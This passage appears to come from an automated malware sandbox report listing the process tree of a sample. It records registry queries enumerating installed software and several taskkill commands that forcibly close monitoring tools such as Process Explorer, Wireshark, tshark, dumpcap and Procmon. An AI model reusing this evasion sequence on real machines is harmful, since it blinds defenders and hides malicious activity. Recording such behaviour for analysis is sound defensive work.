C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:323⤵PID:524
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1492
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:643⤵PID:320
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:323⤵PID:2012
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1612
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:643⤵PID:1480
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:323⤵PID:1332
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1508
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Adobe AIR" /reg:643⤵PID:1056
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Adobe AIR" /reg:323⤵PID:1972
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1844
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:643⤵PID:1656
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:323⤵PID:1468
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:320
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}" /reg:643⤵PID:1332
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}" /reg:323⤵PID:856
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F2⤵
- Kills process with taskkill
PID:796
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:524
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:643⤵PID:1468
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:323⤵PID:1480
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1848
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:643⤵PID:1792
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:323⤵PID:904
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1480
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:643⤵PID:1924
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:323⤵PID:1972
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:796
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:643⤵PID:1040
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:323⤵PID:1792
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1056
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:643⤵PID:1800
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:323⤵PID:1972
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2000
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:643⤵PID:1468
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:323⤵PID:1896
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1800
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:643⤵PID:1040
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:323⤵PID:2012
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1896
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364" /reg:643⤵PID:1036
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364" /reg:323⤵PID:1468
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1040
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}" /reg:643⤵PID:1036
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}" /reg:323⤵PID:1792
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2012
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}" /reg:643⤵PID:1792
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}" /reg:323⤵PID:2056
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2068
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:643⤵PID:2080
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:323⤵PID:2092
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2104
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:643⤵PID:2116
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:323⤵PID:2128
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2140
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:643⤵PID:2152
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:323⤵PID:2164
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "wireshark.exe" /T /F2⤵
- Kills process with taskkill
PID:2176
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "tshark.exe" /T /F2⤵
- Kills process with taskkill
PID:2224
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "text2pcap.exe" /T /F2⤵
- Kills process with taskkill
PID:2284
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "rawshark.exe" /T /F2⤵
- Kills process with taskkill
PID:2332
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "dumpcap.exe" /T /F2⤵
- Kills process with taskkill
PID:2380
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "capinfos.exe" /T /F2⤵
- Kills process with taskkill
PID:2428
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "Procmon.exe" /T /F2⤵
- Kills process with taskkill
PID:2476
-